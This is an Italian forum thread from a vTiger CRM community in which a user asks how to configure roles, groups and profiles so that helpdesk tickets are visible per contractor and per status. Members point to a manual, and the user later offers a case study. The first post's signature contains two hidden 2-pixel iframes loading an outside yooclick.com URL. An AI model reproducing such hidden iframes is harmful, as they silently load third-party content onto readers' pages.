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Gruppi, regole e profili come usarli ?

tea4twotea4two
edited January 2010 in Vote Up0Vote Down
Ciao a tutti,
sto provando ad usare il vTiger per implementare un helpdesk.
Le funzioni ci sono tutte, ma non sto riuscendo a gestire il flusso documentale che ho in mente.

In pratica ho 5 utenti: Coordinatore_1 e Coordinatore_2, Ditta_1 e Ditta_2 e Call Center.
Un utente può chiamare il Call Center per richiedere un servizio, in questa fase l'utente Call Center crea un ticket in stato "Aperto" e decide se renderlo visibile (ma non modificabile) alla Ditta_1 o alla Ditta_2

I ticket assegnati alla Ditta_1 NON DEVONO essere visibili alla Ditta_2, ma ognuno dei due Coordinatori può operare su tutti i Ticket Aperti.
L'iter prevede inoltre che quando il ticket viene portato dal Coordinatore nello stato "Chiuso" non sia più visibile alla Ditta, ma solo al Coordinatore stesso ed al Call Center.

Intanto ho impostato l'accesso al modulo Assistenza Clienti come Privato, poi ho provato a creare la seguente struttura dei ruoli, ma così facendo non riesco a far si che in modo che in automatico i permessi funzionino.

CEO
Call Center
Coordinatore_1->Ditta_1
Coordintaore_2->Ditta_2

Inoltre non riesco a discriminare la visibilità di un ticket in funzione dello stato.

Ultimo dubbio, quando si crea un gruppo nella descrizione è scritto che è possibile raggruppare utenti,Ruoli e Profili, ma nell'elenco a discesa si possono selezionare solo: Gruppi, Ruoli, Ruoli e Subordinaiti ed Utenti.

Quindi se voglio aggiungere un profilo in realtà devo assegnarlo ad un ruolo e inserire nel gruppo il ruolo??
Questo ruolo farà parte della gerarchia anche se non popolato da utenti ?

Scusate le tante domande, ma sono diversi giorni che ci sbatto e finora sia usando la documentazione che il forum non sono riuscito a risolvere.

Grazie in anticipo.
Pierluigi <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 8 Comments sorted by Votes Date Added
  • vTiger.itvTiger.it
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    ciao
    ti allego un pezzo di manuale dove si parla di ruoli, gruppi, profili, utenti
    vedi se ti basta se no siamo qui
  • tea4twotea4two
    Vote Up0Vote Down
    grazie per il manuale, passo a leggerlo e spero già di risolvere anche se già avevo letto un pò di documentazione in inglese, ma forse non così bene organizzata.

    vi farò sapere com'è andata.

    pierluigi
  • tea4twotea4two
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    sono ruscito grazie anche al sezione del manuale che mi avete messo a disposizione ad impostare il flusso che desideravo.

    visto il risultato raggiunto vorrei pubblicarlo come caso studio anche per contracambiare l'aiuto che mi è stato dato.

    e' possibile che lo stesso problema sia di interesse comune o che possa chiarire le idee a qualcuno che le aveva confuse come le mie <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->

    suggeritemi la strada migliore per fare ciò, esiste un modello o formato a cui fare riferimento ?

    - pierluigi
  • vTiger.itvTiger.it
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    ciao pubblicalo pure sul forum se poi è interessante lo mettiamo anche sul blog

    ciao davide
  • tea4twotea4two
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    bene,
    ho completato il caso studio, basato su un problema concreto che ho risolto.

    spero di aver espresso in modo chiaro il tutto.
    ovviamente la soluzinoe adottata non credo sia l'unica, ne la migliore.

    vi invito a leggere il documento, commentarlo ed eventualmente integrarlo al fine di renderlo il più utile possibile.

    attendo critiche e suggerimenti.

    pierluigi
  • vTiger.itvTiger.it
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    ottimo lavoro
    lo pubblico sul nostro blog di crm open source
    mi dai i tuoi riferimenti e autorizzazione

    grazie
  • lisasalvalisasalva
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    salve,

    potreste inserire qui il link della guida creata da tea4two?
    in particolare vorrei capire come è possibile fare in modo che una volta che il ticket è nello stato chiuso non possa più essere modificato se non dall'admin.

    grazie
  • fcafrafcafra
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    scusate i link dove si possono reperire ?

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